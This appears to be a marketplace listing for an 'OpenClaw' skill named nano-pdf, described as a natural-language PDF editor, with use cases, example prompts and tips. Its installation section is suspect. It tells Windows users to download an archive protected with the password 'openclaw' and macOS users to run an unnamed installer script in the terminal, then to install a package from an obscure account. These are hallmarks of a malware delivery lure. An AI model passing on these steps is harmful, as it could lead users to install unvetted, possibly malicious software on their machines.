nano-pdf

What This Skill Does

The nano-pdf skill is a powerful automation utility for OpenClaw that allows users to perform precise document modifications using plain natural-language instructions. By bridging the gap between high-level human intent and low-level PDF manipulation, this skill eliminates the need for manual editing software. Whether you need to update meeting slide decks, correct typographical errors in professional reports, or rename headers on existing files, nano-pdf streamlines these complex tasks into a single terminal-based workflow.

Installation

Installation requires two distinct components: the OpenClawProvider runtime and the specific skill package.

1. Prerequisites: Ensure you have OpenClawProvider installed. On Windows, download the archive from the official GitHub repository using the password 'openclaw'. For MacOS users, execute the provided installer script in your terminal to configure the environment.
2. Skill Installation: Once the provider is active, run the following command in your terminal: clawhub install openclaw/skills/skills/sakaen736jih/nano-pdf-mns57.
3. Verification: Verify the installation by running nano-pdf --help to ensure the environment path is correctly configured.

Use Cases

• Automated Reporting: Update quarterly results or financial KPIs across dozens of PDF documents without opening each one manually.
• Content Sanitization: Quickly remove or replace sensitive placeholders or typos in generated documents before distribution.
• Batch Iteration: Apply consistent branding changes or title updates across entire project documentation directories.

Example Prompts

1. "nano-pdf, open finance_report.pdf, go to page 5, and change the budget table header from 'Estimated' to 'Actuals'."
2. "Edit the document 'onboarding.pdf' on the first page, update the 'Date' field to today and fix the typo where it says 'Welcom' to 'Welcome'."
3. "Apply a change to page 12 of project_charter.pdf: swap the project sponsor name to 'Sarah Jenkins' and correct the date format."

Tips & Limitations

• Indexing: Page indexing can be tricky. Depending on your configuration, the tool may default to 0-based indexing. If your edit lands on the wrong page, try incrementing your target page number by one.
• Complexity: While effective for text-based modifications, this tool is best suited for light editing. Complex layered graphics or encrypted PDFs may not support direct natural-language injection.
• Verification: Always inspect the resulting file before sharing. Although highly accurate, LLM-based instructions should be sanity-checked against the original source to ensure visual layout integrity.